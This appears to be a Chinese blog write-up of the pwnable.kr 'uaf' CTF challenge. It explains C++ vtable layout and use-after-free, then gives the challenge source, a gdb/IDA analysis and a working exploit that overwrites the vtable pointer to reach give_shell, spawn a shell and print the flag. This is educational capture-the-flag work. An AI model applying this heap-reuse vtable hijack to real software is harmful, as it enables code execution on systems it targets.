uaf - pwnable

uaf - pwnable

预备知识

虚函数的内存地址空间

在c++中,如果类中有虚函数(如下图中的 virtual void give_shell()),那么它就是有一个虚函数表的指针__vfptr,在类对象最开始的内存数据中。之后是类中的成员变量的内存数据。


对于子类,最开始的内存数据记录着父类对象的拷贝(包含父类虚函数表指针和成员变量)。之后是子类自己的成员变量数据。

img

子类的继承也分几种,分别是:

单一继承,无虚函数重载
img

单一继承,重载了虚函数

img

多重继承

img

img

总结

如果一个类中虚函数,那么就会建立一张虚函数表vtable,子类继承父类的vtable。

若父类vtable中包含私有(private)虚函数,子类vtable同样具有该函数的地址。并不是直接继承了私有虚函数。

当子类重载父类虚函数时,修改vtable同名函数地址,改为指向子类新定义的函数地址(子类修改父类中已有虚函数,vtable就更新对应虚函数的地址)。若子类中有新的虚函数,在vtable末尾添加。

一个类(无论父类子类)只有一个vtable,可以有多个__vfptr。__vfptr指向的是vtable。


Use-After-Free

Dangling pointer即指向被释放的内存的指针,通常是由于释放内存后,未将指针置为NULL。

UAF原理就是对Dangling pointer所指向的内存进行使用

基本利用思路:将Dangling pointer所指向的内存重新分配回来,且尽可能使该内存的内容可能(如重新分配字符串、任意地址跳转)

下面结合图解释一下:

首先我们申请了一个堆空间里面存放有int id、char *name、int(\*func)(),指针是p(如左图)。

然后我们释放(free)堆p。

接着再次申请相同大小的堆p2(char *p2=(char*)malloc(12))。然后向堆中写入内存地址。

img

由于p与p2申请堆空间相同,系统可能分配了相同的内存地址给堆p2。p在没有设置为NULL时,假如程序调用原来的堆p中的函数,实际上调用堆p2中我们写入的函数。

总结

UAF错误的原因:

  1. 导致程序出错和发生异常的各种条件

  2. 程序负责释放内存的指令发生混乱

    其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。(这个指针可以称为恶性迷途指针)

UAF漏洞的利用:

  1. 先搞出来一个迷途指针
  2. 精心构造数据填充被释放的内存区域
  3. 再次使用该指针,让填充的数据使eip发生跳转。

C++ delete

为某个内容开辟空间,并设置指向该空间的指针p,delete之后,下次再重新申请的时候可以再申请这块内存地址,也就是将这块地址放到了空闲链表上,对于这块地址的内容,没有进行清空处理(也没有必要);由于你没有将p赋为NULL,所以p指针还是指向这块内存空间。
如果不delete的话,你这块内存是不能在申请使用的,也就是所谓的内存泄露。
对于delete之后的指针p,此时是"野指针"。


题目源码

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};

class Man: public Human{
public:
	Man(string name, int age){
		this->name = name;
		this->age = age;
        }
        virtual void introduce(){
		Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
	Human* m = new Man("Jack", 25);
	Human* w = new Woman("Jill", 21);

	size_t len;
	char* data;
	unsigned int op;
	while(1){
		cout << "1. use\n2. after\n3. free\n";
		cin >> op;

		switch(op){
			case 1:
				m->introduce();
				w->introduce();
				break;
			case 2:
				len = atoi(argv[1]);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout << "your data is allocated" << endl;
				break;
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

	return 0;	
}

题目给出了源码,那就直接分析源码吧。

源码中:

  1. 建立了一个Human类(第八行)

  2. Man、Women类都是继承Human类

  3. main函数一开始就初始化得到了Man、Women的两个实例。

    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);
    
  4. 初始化后就是一个switch的选择分支:

    1调用实例中的introduce()函数

    2申请堆空间,并写其中写入某些内容

    3释放m、w两个实例的堆空间

在Human类中,发现有give_shell()函数,只要我们能够让程序调用这个函数就获得了shell,有足够的权限得到flag

我们先来看看释放堆空间的源码:

case 3:
	delete m;
	delete w;
	break;

前面提到过,在程序delete w、m时,堆空间的内容没有被删除,仍然存储在内存上,只是在链表上被标注为空间可被分配。

程序正常情况下只会调用introduce()函数,那么我们可以将introduce()的内存地址覆盖为give_shell()内存地址。这样程序在调用introduce()时,就等于调用了give_shell()


那么现在问题就转化为:怎么覆盖introduce()地址

覆写的基本思路是:

  1. 程序运行即实例化对象m、w。

  2. 然后我们释放掉两个堆空间。

  3. 再申请相同大小的两个堆空间,写入give_shell()地址覆盖introduce()地址。

Q:为什么要申请两个相同大小的堆空间?

A:相同大小是确保系统分配,初始化时堆所使用的内存空间给我们;两个实例堆都被释放了,所有需要申请两个堆空间。

我们来看一下2申请堆空间的源码:

case 2:
	len = atoi(argv[1]);
	data = new char[len];
	read(open(argv[2], O_RDONLY), data, len);
	cout << "your data is allocated" << endl;
	break;

从参数2中读取参数1长度的内容,写入到data堆中。


现在问题转化为:堆空间大小?give_shell()的内存地址

将uaf从服务器下载下来,然后丢到ida分析。


22行申请了man实例的堆空间大小为0x18字节,也就是24字节

从源码中我们已经的得知了:give_shell()是虚函数,也就是说它的位置由vtable记录,我们需要找到vtable的位置,然后从表中查询到give_shell()的内存地址。

vtable是在实例的堆空间中的第一个位(低地址)。那么我们就用gdb,在实例建立之后,查询实例的地址,接着查询实例的内存地址空间内容,从而得到vtabel地址。

Man实例化后存储在rbx中,我们就在下一行(0x0000000000400F18)打断点。

gdb-peda$ b *0x0000000000400F18
Breakpoint 1 at 0x400f18
gdb-peda$ run
Starting program: /home/skye/pwnable.kr/uaf/uaf 
[----------------------------------registers-----------------------------------]
RAX: 0xc50ea0 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>:	push   rbp)
RBX: 0xc50ea0 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>:	push   rbp)
RCX: 0xc50ea0 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>:	push   rbp)
RDX: 0x19 
RSI: 0x7ffd67832590 --> 0xc50e88 --> 0x6b63614a ('Jack')
RDI: 0x7f9720aff300 --> 0x0 
RBP: 0x7ffd678325e0 --> 0x4013b0 (<__libc_csu_init>:	mov    QWORD PTR [rsp-0x28],rbp)
RSP: 0x7ffd67832580 --> 0x7ffd678326c8 --> 0x7ffd67834318 ("/home/skye/pwnable.kr/uaf/uaf")
RIP: 0x400f18 (<main+84>:	mov    QWORD PTR [rbp-0x38],rbx)
R8 : 0xc3f010 --> 0x0 
R9 : 0x0 
R10: 0x6 
R11: 0x7f9720a07240 (<_ZNSs6assignERKSs>:	push   r12)
R12: 0x7ffd67832590 --> 0xc50e88 --> 0x6b63614a ('Jack')
R13: 0x7ffd678326c0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400f0d <main+73>:	mov    rsi,r12
   0x400f10 <main+76>:	mov    rdi,rbx
   0x400f13 <main+79>:	call   0x401264 <_ZN3ManC2ESsi>
=> 0x400f18 <main+84>:	mov    QWORD PTR [rbp-0x38],rbx
   0x400f1c <main+88>:	lea    rax,[rbp-0x50]
   0x400f20 <main+92>:	mov    rdi,rax
   0x400f23 <main+95>:	call   0x400d00 <_ZNSsD1Ev@plt>
   0x400f28 <main+100>:	lea    rax,[rbp-0x12]
[------------------------------------stack-------------------------------------]
0000| 0x7ffd67832580 --> 0x7ffd678326c8 --> 0x7ffd67834318 ("/home/skye/pwnable.kr/uaf/uaf")
0008| 0x7ffd67832588 --> 0x10000ffff 
0016| 0x7ffd67832590 --> 0xc50e88 --> 0x6b63614a ('Jack')
0024| 0x7ffd67832598 --> 0x401177 (<_GLOBAL__sub_I_main+19>:	pop    rbp)
0032| 0x7ffd678325a0 --> 0x1 
0040| 0x7ffd678325a8 --> 0x40140d (<__libc_csu_init+93>:	add    rbx,0x1)
0048| 0x7ffd678325b0 --> 0x7f9720b29b20 (push   rbp)
0056| 0x7ffd678325b8 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000400f18 in main ()
gdb-peda$ p /x $rbx
$1 = 0xc50ea0
gdb-peda$ x /10a 0xc50ea0
0xc50ea0:	0x401570 <_ZTV3Man+16>	0x19  //虚表地址
0xc50eb0:	0xc50e88	0xf151
0xc50ec0:	0x0	0x0
0xc50ed0:	0x0	0x0
0xc50ee0:	0x0	0x0

我们得到Man实例的vtable地址:0xc50ea0: 0x401570 <_ZTV3Man+16> 0x19

为了方便查看,我们回到IDA中,跳转到0x401570

现在我们知道了__vfptr指针一开始就指向了give_shell(),introduce()比give_shell()地址高8位。

我们需要知道指针进行了怎样运行,最终指向了introduce()。

我们在IDA中找到调用introduce对应的代码。


初始指针地址加上偏移地址8,刚刚好指向introduce在vtable中的地址。其中的v12、v13对应的就是实例Man、Women。

那么我们需要做的就是将__vftable虚表指针前移8个字节,这样call [vptr+8]就调用give_shell()。

0x401570-0x8=0x401568->\x68\x15\x40\x00\x00\x00\x00\x00

前面我们也分析知道了:程序是从参数2中读取需要写入堆的内容。那么我们需要提前准备好一个文档,内容为\x68\x15\x40\x00\x00\x00\x00\x00

Q:跳转到0x401570后,发现三个虚表,那为什么要用Man虚表下面的give_shell()?

A:三个虚表中的give_shell()都可以

完整POC

  1. 准备覆盖地址的文件
  2. free两个实例的堆空间
  3. after(malloc分配)两次,申请并写入两个堆空间
  4. run
skye@skye-ubuntu:~/pwnable.kr/uaf$ ssh uaf@pwnable.kr -p2222
uaf@prowl:~$ python2
Python 2.7.12 (default, Nov 12 2018, 14:36:49) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> file = open("/tmp/uaf_2.txt","wb")
>>> file.write(p64(0x401570-0x8))
>>> file.close()
>>> exit()
uaf@prowl:~$ ./uaf 24 /tmp/uaf_2.txt
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag
yay_f1ag_aft3r_pwning
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值